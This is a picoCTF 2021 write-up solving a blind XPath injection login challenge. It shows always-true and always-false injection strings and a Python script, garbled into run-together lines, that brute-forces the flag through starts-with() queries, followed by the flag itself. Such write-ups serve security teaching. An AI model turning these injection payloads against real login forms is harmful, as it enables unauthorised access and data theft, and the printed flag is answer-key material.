Visit [Original writeup](https://docs.abbasmj.com/ctf-writeups/picoctf2021#x-marks-the-spot) for better formatting.
---
**Description:** Another login you have to bypass. Maybe you can find an injection that works?
**Points:** 250
#### **Solution**
The link takes you to a login screen that reads "Only I know the password, and I don't use any of those regular old unsafe query languages!" Let's look at the hint.
**Hint 1:** XPATH
So, this is an XPath injection. This is not like any of the injections before. I tried bypassing the login with always true queries but they do not work, However, There is an interesting message that pops up when I enter an always true booleans like `' or 1=1 or 'a` 
![](https://raw.githubusercontent.com/iam-abbas/Docs/main/.gitbook/assets/image%20%2814%29.png)
It says "You're on the right path." I tried to change things a little bit and used a false query like `' and 1=2 and 'a'='a` 
![](https://raw.githubusercontent.com/iam-abbas/Docs/main/.gitbook/assets/image%20%2817%29.png)
Now it says "Login failure." This means that it's a Blind XPATH injection which means we have to figure out the username and password using queries. Here we can use **"starts-wth\(\)"** operator. Which returns true if the passed characters are at the beginning of a document. We do not know the column names yet so we can use `//*` which basically means check for all documents \(columns\). I tried testing it with `' or //*[starts-with(text(),'a')] or 'a'='b` which interestingly enough returned true. I tried again with `' or //*[starts-with(text(),'ab')] or 'a'='b` which returned false. 
We can actually write a script that runs through all the combinations and stacks the successful characters upon success. Here's the Python script that I made
```pythonimport requestsfrom string import *
charecters = ascii_lowercase + ascii_uppercase + digits+"}_"print(charecters)
seen_password = ["picoCTF{"]while True:
    for ch in charecters:        print(f"trying {''.join(seen_password)+ch}")        st = ''.join(seen_password)+ch        data = {"name":"admin", "pass":f"' or //*[starts-with(text(),'{st}')] or '1'='"}        r = requests.post("http://mercury.picoctf.net:59946/", data=data)
        content = r.text        if "You're on the right path." in content:            seen_password.append(ch)            break```
I tried running the above script several times before which returned with values like admin, bob, thisisnottheflag then I figured that we are supposed to look for the flag itself, not some password. so I started with the standard starting format `picoCTF{` after running for a while, I finally got the full flag.
![](https://raw.githubusercontent.com/iam-abbas/Docs/main/.gitbook/assets/image%20%2820%29.png)
**Flag:** picoCTF{h0p3fully\_u\_t0ok\_th3\_r1ght\_xp4th\_a56016ef}